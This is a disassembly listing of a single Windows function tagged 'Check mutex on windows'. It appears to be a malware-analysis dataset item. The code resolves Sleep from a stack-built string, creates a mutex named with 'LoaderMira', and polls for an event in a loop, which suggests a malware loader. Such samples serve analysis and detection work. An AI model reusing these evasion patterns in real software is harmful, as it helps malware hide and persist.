Function at 0x10012c37
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001d0a8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0xa1a0
call fcn.1001c580
push ebx
push esi
push edi
mov dword [ebp - 0x114], 0
push str.AAAAAA
mov eax, dword [0x10026ea0]
push eax
call fcn.10008259
add esp, 8
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0
jne 0x10012c90
or eax, 0xffffffff
jmp 0x1001315e
mov byte [ebp - 0xa188], 0x53
mov byte [ebp - 0xa187], 0x6c
mov byte [ebp - 0xa186], 0x65
mov byte [ebp - 0xa185], 0x65
mov byte [ebp - 0xa184], 0x70
mov byte [ebp - 0xa183], 0
lea ecx, [ebp - 0xa188]
push ecx
push 0x10024478
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xa194], eax
nop
nop
nop
nop
nop
push 0
push 0
push 0
push 0
push 0x100136f1
push 0
push 0
call fcn.10014717
add esp, 0x1c
push 0
push 0
push 0
push 0
push 0x10013810
push 0
push 0
call fcn.10014717
add esp, 0x1c
push 0
push 0
push 0
push 0
push 0x1001393d
push 0
push 0
call fcn.10014717
add esp, 0x1c
call dword [0x10025ddc]
mov dword [ebp - 0x15c], eax
push 0x2000000
push 0
push str.winsta0
call dword [0x10025de0]
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0
je 0x10012d63
mov edx, dword [ebp - 0x158]
push edx
call dword [0x10025de4]
cmp dword [0x10026ea0], 0
je 0x10012dc5
push 0x10012b68
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
nop
nop
nop
nop
nop
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push str.LoaderMira
push str.G_sX6__d
lea edx, [ebp - 0x14c]
push edx
call dword [0x10025e7c]
add esp, 0x10
mov eax, dword [ebp - 0x154]
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x114], eax
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov dword [ebp - 0xa180], 0
mov dword [ebp - 0xa17c], 0x50
mov dword [ebp - 0xa190], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xa18c], 0
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x150], 0
nop
nop
nop
nop
nop
lea ecx, [ebp - 0x218]
call fcn.100024b0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x218]
push ecx
lea ecx, [ebp - 0xa178]
call fcn.1000cf57
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xa178]
call fcn.1000cf89
mov byte [ebp - 0xa198], 0
mov edx, 1
test edx, edx
je 0x1001311b
mov eax, dword [ebp - 0xa198]
and eax, 0xff
test eax, eax
je 0x10012eea
mov ecx, dword [ebp - 0xa198]
and ecx, 0xff
cmp ecx, 3
je 0x10012eea
mov dword [ebp - 0xa1ac], 0
jmp 0x10012e97
mov edx, dword [ebp - 0xa1ac]
add edx, 1
mov dword [ebp - 0xa1ac], edx
cmp dword [ebp - 0xa1ac], 0x3e8
jge 0x10012eea
lea eax, [ebp - 0x14c]
push eax
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0
je 0x10012ee0
lea ecx, [ebp - 0x218]
call fcn.100032d7
mov ecx, dword [ebp - 0x150]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10012eea
push 0x3c
call dword [ebp - 0xa194]
jmp 0x10012e88
lea edx, [ebp - 0x118]
push edx
lea eax, [ebp - 0xa18c]
push eax
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0xa190]
push edx
lea eax, [ebp - 0xa17c]
push eax
lea ecx, [ebp - 0xa180]
push ecx
mov edx, dword [ebp - 0x154]
add edx, 6
push edx
call fcn.10011ade
add esp, 4
push eax
call fcn.10011d1e
add esp, 0x1c
and eax, 0xff
test eax, eax
jne 0x10012f41
mov byte [ebp - 0xa198], 1
jmp 0x10012e4f
cmp dword [ebp - 0xa190], 0
je 0x10012f72
mov eax, dword [ebp - 0x118]
push eax
mov ecx, dword [ebp - 0xa18c]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0xa190]
push eax
push 5
lea ecx, [ebp - 0x218]
call fcn.100036ad
jmp 0x10012f8a
push 0
push 0
push 0x438
push 0
push 0
lea ecx, [ebp - 0x218]
call fcn.100036ad
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0xa19c], eax
mov ecx, dword [ebp - 0xa17c]
push ecx
mov edx, dword [ebp - 0xa180]
push edx
lea ecx, [ebp - 0x218]
call fcn.100026a5
and eax, 0xff
test eax, eax
jne 0x10012fc4
mov byte [ebp - 0xa198], 2
jmp 0x10012e4f
mov dword [ebp - 0xa1a8], 0xffffffff
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0xa19c]
push eax
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x110]
push ecx
call fcn.100126e7
add esp, 0xc
mov edx, dword [ebp - 0xa17c]
push edx
mov eax, dword [ebp - 0xa180]
push eax
lea ecx, [ebp - 0x14c]
push ecx
mov edx, dword [0x10026eac]
push edx
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x218]
push ecx
lea ecx, [ebp - 0xa178]
call fcn.1000cfd5
lea edx, [ebp - 0xa178]
push edx
lea ecx, [ebp - 0x218]
call fcn.10003694
mov dword [ebp - 0xa1a0], 0
jmp 0x10013053
mov eax, dword [ebp - 0xa1a0]
add eax, 1
mov dword [ebp - 0xa1a0], eax
cmp dword [ebp - 0xa1a0], 0xa
jge 0x1001307d
lea ecx, [ebp - 0xa178]
call fcn.1000d8b7
and eax, 0xff
test eax, eax
jne 0x1001307d
push 0x3e8
call dword [ebp - 0xa194]
jmp 0x10013044
lea ecx, [ebp - 0xa178]
call fcn.1000d8b7
and eax, 0xff
test eax, eax
jne 0x10013096
jmp 0x10012e4f
nop
nop
nop
nop
nop
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0xa19c], eax
lea ecx, [ebp - 0x14c]
push ecx
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov dword [ebp - 0x150], eax
push 0x64
mov edx, dword [ebp - 0x16c]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0xa1a4], eax
push 0x1f4
call dword [ebp - 0xa194]
cmp dword [ebp - 0x150], 0
jne 0x100130f3
cmp dword [ebp - 0xa1a4], 0
jne 0x100130a7
cmp dword [ebp - 0x150], 0
je 0x10013116
lea ecx, [ebp - 0x218]
call fcn.100032d7
mov eax, dword [ebp - 0x150]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1001311b
jmp 0x10012e4f
push 0
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov ecx, dword [ebp - 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edx, dword [ebp - 0x114]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xa178]
call fcn.1000d056
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x218]
call fcn.100025cb
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4